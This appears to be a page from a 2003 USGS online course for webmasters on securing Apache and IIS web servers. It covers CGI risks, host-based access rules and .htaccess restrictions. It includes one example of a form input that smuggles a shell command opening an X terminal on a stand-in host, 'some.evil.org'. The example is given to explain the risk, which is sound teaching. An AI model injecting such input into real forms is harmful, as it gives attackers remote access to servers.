The web server daemon, Apache (httpd) on Solaris or Windows and IIS on Windows, determines the access for programs executed by the Web server (CGI and ASP).
Poorly written CGI programs are the largest security risk associated with a Unix web site. For example, a person filling out a form or passing information in a URL can use special Unix characters to execute a command on the system. Ex:
info for form; xterm -DISPLAY
some.evil.org:0
It is a common hacking probe to search for popular CGI programs with known vulnerabilities, such as the "Matt Wright FormMail.pl attack ", listed as one of the top 10 attacks in the first quarter of 2002.
Server side includes are a security concern if you can not trust the users on your system (which could be true for an ISP, but not generally for the USGS). For example, a trusted user could run programs that use excessive CPU or disk space.
Attending to systems security is especially important on web servers because they provide a highly visible target. A few general security guidelines include, in roughly decreasing importance:
The World Wide Web Security FAQ, by W3C provides a number of security references for Web Masters.
System administrators should become familiar with security resources such as CERT, tracking and fixing relevant security problems as they are discovered.
rshd: 127.0.0.1 .usgs.gov EXCEPT h2o.er.usgs.gov ftpd: .usgs.gov EXCEPT water.usgs.gov : umask 022 telnetd: .usgs.gov EXCEPT water.usgs.gov rlogind: .usgs.gov EXCEPT water.usgs.gov rexecd: .usgs.gov EXCEPT water.usgs.gov
Nothing should be writable by user or group webd, unless a CGI program needs to write to that file.
It is extremely important to keep up-to-date with the frequent security updates from Microsoft. Numerous USGS systems were involved in the CodeRed virus outbreak, and were a contributing factor to the subsequent blockage of access to USGS Web servers.
Security Administrator, guidelines for security by Windows and .NET magazines.
The relative sizes of the security notes for Solaris vs Windows should not be taken to imply that less needs to be done for Windows to obtain a secure system. The size of these lists merely reflects the amount of familiarity of the course authors with each of these systems. Solaris/apache systems have had fewer security problems than Windows/IIS systems, as reflected in the number of CERT warnings.
access.conf (or as configured on Solaris,
httpd.conf) to control access to web pages for a
site. Restrictions are based on hostnames or internet
numbers. Setting the access to
*.usgs.gov will restrict to USGS-only access
* . Access should be set for the following directories:
DocumentRoot, the top directory containing
your web documents; On Solaris, the default is
/www/htdocs/.~username/public_html/
are protectedcgi-bin/ directory to protect cgi
scriptsA file .htaccess in any directory can be
used to modify the default access for that part of the
directory tree. Example.htaccess contents:
#lock out non-usgs access attempts
order deny,allow
deny from all
allow from .usgs.gov
slide 56
Lab Exercise on Server-Side-Includes and Security
|
"Mastering a Web Site" online course Created and maintained by Lorna Schmid and David Boldt. http://water.usgs.gov/usgs/training/webmaster/security.html Last modified: Tue Nov 04 15:07:39 Eastern Standard Time 2003 |